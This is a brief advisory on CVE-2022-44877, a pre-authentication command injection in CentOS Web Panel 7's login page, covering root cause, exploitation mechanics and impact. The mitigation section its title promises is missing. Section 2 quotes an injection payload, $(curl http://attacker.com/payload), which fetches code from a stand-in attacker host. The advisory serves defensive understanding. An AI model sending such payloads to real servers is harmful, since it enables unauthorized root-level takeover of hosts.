CentOS Web Panel (CWP) 7 login/index.php Remote Code Execution (RCE) Vulnerability (CVE-2022-44877) Analysis and Mitigation Guide

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2022-44877) is a critical OS Command Injection vulnerability located in the login/index.php component of CentOS Web Panel (CWP, also known as Control Web Panel) 7. The root cause lies in the improper sanitization and escaping of user-supplied input within the login parameter before passing it to a system shell command. This allows remote attackers to inject shell metacharacters (such as backticks or dollar-parenthesis syntax) to execute arbitrary system commands under the context of the web server process, which typically runs with root privileges.

2. Exploitation Mechanics & Attack Scenario

An attacker sends a crafted HTTP POST request to the CWP administration interface (default ports 2030 or SSL port 2031). By embedding shell metacharacters like $(curl http://attacker.com/payload) or ` id ` inside the login parameter, the backend PHP script executes the injected payload directly on the host operating system. Because this occurs during the pre-authentication phase, no valid credentials are required, allowing complete, unauthorized remote takeover of the target server.

3. Infrastructure & Business Impact

Since CWP is a server management panel that operates with high privileges, successful exploitation grants the attacker full administrative control over the host. This compromises all hosted websites, databases, user credentials, and SSL certificates. Given that this vulnerability is listed in CISA's KEV catalog and has an EPSS score of 1.0, active exploitation is widespread, posing an immediate threat of ransomware deployment, data exfiltration, and lateral movement within the enterprise network.